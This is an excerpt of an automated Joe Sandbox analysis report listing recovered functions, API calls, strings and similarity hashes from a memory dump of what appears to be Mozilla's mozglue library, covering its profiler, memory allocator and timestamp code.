AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EE6D
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C91EEA5
CloseHandle.KERNEL32(?), ref: 6C91EEB4
free.MOZGLUE(00000000), ref: 6C91EEBB
GetCurrentThreadId.KERNEL32 ref: 6C91EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91EECF

Part of subcall function 6C91DE60: GetCurrentThreadId.KERNEL32 ref: 6C91DE73
Part of subcall function 6C91DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C8E4A68), ref: 6C91DE7B
Part of subcall function 6C91DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C8E4A68), ref: 6C91DEB8
Part of subcall function 6C91DE60: free.MOZGLUE(00000000,?,6C8E4A68), ref: 6C91DEFE
Part of subcall function 6C91DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C91DF38

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

GetCurrentThreadId.KERNEL32 ref: 6C91EF1E
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EF2B
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EF59
GetCurrentThreadId.KERNEL32 ref: 6C91EFB0
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EFBD
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EFE1
GetCurrentThreadId.KERNEL32 ref: 6C91EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F000

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F02F

Part of subcall function 6C91F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91F09B
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C91F0AC
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C91F0BE

Strings

KpT{/, xrefs: 6C91EF8A
[I %d/%d] profiler_stop, xrefs: 6C91EED7
[I %d/%d] profiler_pause, xrefs: 6C91F008

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: KpT{/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-113363248
Opcode ID: 00d85c4d97ca0e5b0d59330b7c67e6bd449365926a8a38d90a4d89d197907a51
Instruction ID: d45c7df6abf83e2e8ab3beb6ac63e463b4260fd76498ea1aca9c0343237aecd0
Opcode Fuzzy Hash: 00d85c4d97ca0e5b0d59330b7c67e6bd449365926a8a38d90a4d89d197907a51
Instruction Fuzzy Hash: AC51AF3560C2189FDB00AF64D40E7A67BB8EB5622CFB40559EA1983F80DB75C818C7A2

Function 6C90D010 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C95E804), ref: 6C90D047
GetSystemInfo.KERNEL32(?), ref: 6C90D093
__Init_thread_footer.LIBCMT ref: 6C90D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C95E810,00000040), ref: 6C90D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C95E7B8,00001388), ref: 6C90D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C95E744,00001388), ref: 6C90D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C95E784,00001388), ref: 6C90D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C95E7DC,00001388), ref: 6C90D1B1

Strings

KpT{/, xrefs: 6C90D019
: (malloc) Unsupported character in malloc options: ', xrefs: 6C90D322
Compile-time page size does not divide the runtime one., xrefs: 6C90D26D
<jemalloc>, xrefs: 6C90D268, 6C90D311
MOZ_CRASH(), xrefs: 6C90D277
MALLOC_OPTIONS, xrefs: 6C90D0CB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$KpT{/$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-2373735247
Opcode ID: e891f16b92a4d8774f44136a924de0d12891f4021a352139c57187f26c34fb97
Instruction ID: 8d8a14307ff4147809eced926b976e0016095c6cc85f5ac18e4767c497401306
Opcode Fuzzy Hash: e891f16b92a4d8774f44136a924de0d12891f4021a352139c57187f26c34fb97
Instruction Fuzzy Hash: 5E81DD71B082009FEB04DF68D954B693BB9EB56B08FA4056EE90197B80DB7AD805CBD1

Function 6C91FAA0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C91FADC
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91FAE9
GetCurrentThreadId.KERNEL32 ref: 6C91FB31
GetCurrentThreadId.KERNEL32 ref: 6C91FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C91FBF6
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91FC50

Strings

KpT{/, xrefs: 6C91FAAF
[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6C91FD15
[D %d/%d] profiler_unregister_thread: %s, xrefs: 6C91FC94

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: KpT{/$[D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3686349387
Opcode ID: 950cdc7096c3756281b0854ada35bc85fd8b4a6ecf7025851ec264d2ed99270a
Instruction ID: 01557f9283676130cb924b2630a3fd0aab97f733d1690d6e2e4ffd7e21b65d43
Opcode Fuzzy Hash: 950cdc7096c3756281b0854ada35bc85fd8b4a6ecf7025851ec264d2ed99270a
Instruction Fuzzy Hash: CC71EF71A087088FD710DF28C445B6AB7F4BF9534CFA58969E84987F51E730D809CB92

Function 6C8E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C8E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C8E801D

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C8E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C8E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C8E808D

Part of subcall function 6C8ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C8ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C8E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C8E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C8E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C8E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C8E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C8E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C8E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8E8199

Strings

KpT{/, xrefs: 6C8E7FDC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: KpT{/
API String ID: 2721933968-2391877073
Opcode ID: 9aba6f33c71c592ff011007d67ba42012d9d451f2ac9eb121c0f045cd58633a8
Instruction ID: dcda86dd27d6a78e0e30205ea3ca6289ae6bebb6e4f63f64f3665537dde2acaa
Opcode Fuzzy Hash: 9aba6f33c71c592ff011007d67ba42012d9d451f2ac9eb121c0f045cd58633a8
Instruction Fuzzy Hash: 8A51B5B1E002149BDB10DFA9DD809EFBBB9AF5A264F244525E815F7741E730D904CBA1

Function 6C8E5E60 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8E5E9D

Part of subcall function 6C8F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B85
Part of subcall function 6C8F5B50: EnterCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B90
Part of subcall function 6C8F5B50: LeaveCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5BD8
Part of subcall function 6C8F5B50: GetTickCount64.KERNEL32 ref: 6C8F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C8E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C8E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C8E6017

Part of subcall function 6C8D4310: moz_xmalloc.MOZGLUE(00000010,?,6C8D42D2), ref: 6C8D436A
Part of subcall function 6C8D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C8D42D2), ref: 6C8D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C8E5F47
GetCurrentProcess.KERNEL32 ref: 6C8E5F53
GetCurrentThread.KERNEL32 ref: 6C8E5F5C
GetCurrentProcess.KERNEL32 ref: 6C8E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C8E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C8E5F27

Part of subcall function 6C8ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C8ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8E55E1), ref: 6C8E5E8C

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8E55E1), ref: 6C8E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8E55E1), ref: 6C8E60CC

Strings

KpT{/, xrefs: 6C8E5E70
GeckoMain, xrefs: 6C8E5ECE, 6C8E6015

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain$KpT{/
API String ID: 3711609982-1199409823
Opcode ID: b91046b4fe3faff42e8084e54c3119ad5402c69e874d3a433034bfd3c659dbc7
Instruction ID: 0e95e2c45f279d1aa1c8f292f5a0a54140e5d692b6c79f9c4d2ca505602188d0
Opcode Fuzzy Hash: b91046b4fe3faff42e8084e54c3119ad5402c69e874d3a433034bfd3c659dbc7
Instruction Fuzzy Hash: FD7190B0A097409FD710DF28C580A6ABBF0FF5A308F544D6DE59A87B52D731E948CB92

Function 6C92D840 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D918
GetCurrentThreadId.KERNEL32 ref: 6C92D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D970
GetCurrentThreadId.KERNEL32 ref: 6C92D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C92DA2E
GetCurrentThreadId.KERNEL32 ref: 6C92DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C92DA91

Part of subcall function 6C8F5C50: GetTickCount64.KERNEL32 ref: 6C8F5D40
Part of subcall function 6C8F5C50: EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92DAB7

Strings

KpT{/, xrefs: 6C92D84E, 6C92DA4E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID: KpT{/
API String ID: 1195625958-2391877073
Opcode ID: 4518250c2df61dbc8a1dce480a87f5c8bb3543bc6f59fb75778b3593302008b6
Instruction ID: 55bbd2a3bc97a0027cb8501c81ca8cc709bf1326c05c7ac1ec26692f0ef067b1
Opcode Fuzzy Hash: 4518250c2df61dbc8a1dce480a87f5c8bb3543bc6f59fb75778b3593302008b6
Instruction Fuzzy Hash: 0771BE75608304DFCB00CF29C884A9ABBF5FF89314F65856DE85A9B345DB34E944CB91

Function 6C8E9590 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C8D3217
Part of subcall function 6C8D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C8D3236
Part of subcall function 6C8D31C0: FreeLibrary.KERNEL32 ref: 6C8D324B
Part of subcall function 6C8D31C0: __Init_thread_footer.LIBCMT ref: 6C8D3260
Part of subcall function 6C8D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C8D327F
Part of subcall function 6C8D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8D328E
Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8D32AB
Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8D32D1
Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8D32E5
Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C8E9675
__Init_thread_footer.LIBCMT ref: 6C8E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C8E9707
__Init_thread_footer.LIBCMT ref: 6C8E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8E97B7
FreeLibrary.KERNEL32 ref: 6C8E97D0
FreeLibrary.KERNEL32 ref: 6C8E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8E9824

Strings

MapViewOfFileNuma2, xrefs: 6C8E97B1
KpT{/, xrefs: 6C8E959E, 6C8E9632
ntdll.dll, xrefs: 6C8E96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C8E9670
NtMapViewOfSection, xrefs: 6C8E9701

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$KpT{/$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3252272472
Opcode ID: 9773e47de1076235dad916447b04117a0b8f676df6be612d832324b95fc3cdbd
Instruction ID: 8d8d5f2dad4b1c5e4635f573a8255119ef7eec7597b652d444a7c8f04f0f1d18
Opcode Fuzzy Hash: 9773e47de1076235dad916447b04117a0b8f676df6be612d832324b95fc3cdbd
Instruction Fuzzy Hash: 1E61F171708205DFDF10DF69E984B9A3BB4EB4B728FA04929E91593B80D770E858CB91

Function 6C92D4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D52A
GetCurrentThreadId.KERNEL32 ref: 6C92D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D55F
free.MOZGLUE(00000000), ref: 6C92D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C92D5D3
GetCurrentThreadId.KERNEL32 ref: 6C92D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D652
GetCurrentThreadId.KERNEL32 ref: 6C92D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C92D6A2

Strings

KpT{/, xrefs: 6C92D4E1, 6C92D5EE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: KpT{/
API String ID: 2206442479-2391877073
Opcode ID: 00cb87bbd0f87fb528ede123165abd2e43584fe297b3c59527c5ac67db0a9da2
Instruction ID: 2eb9ef20a365a74b1c4000539d8890df11e50e0b2c930e9355685f552710f0dd
Opcode Fuzzy Hash: 00cb87bbd0f87fb528ede123165abd2e43584fe297b3c59527c5ac67db0a9da2
Instruction Fuzzy Hash: 96516B71608705DFC704DF25C884A9ABBF4FF89358F508A2EE99A87710DB34E949CB91

Function 6C8E11B0 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6C8E1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C8E1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6C8E12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6C8E1327

Strings

KpT{/, xrefs: 6C8E11BC
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6C8E120D
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6C8E131B
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6C8E12AD
MZx, xrefs: 6C8E11E1
&, xrefs: 6C8E126B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$KpT{/$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-4003010718
Opcode ID: da74e6c4189e7e180050bb6bb1f40b609c146f6b7002a11dea2f832bca3d4ff5
Instruction ID: f96c61dd57bc1cd1e8e0f50e267e50ad6cc614890a0c2bdf9a947e46dc4fe9c3
Opcode Fuzzy Hash: da74e6c4189e7e180050bb6bb1f40b609c146f6b7002a11dea2f832bca3d4ff5
Instruction Fuzzy Hash: 1C719271A05358CADB219F78C9407DEB7F6BF5A30DF040A6ED445A3B41D734AA88CB92

Function 6C8D31C0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C8D3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C8D3236
FreeLibrary.KERNEL32 ref: 6C8D324B
__Init_thread_footer.LIBCMT ref: 6C8D3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C8D327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8D328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8D32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8D32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8D32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8D32F7

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

__aulldiv.LIBCMT ref: 6C8D346B

Strings
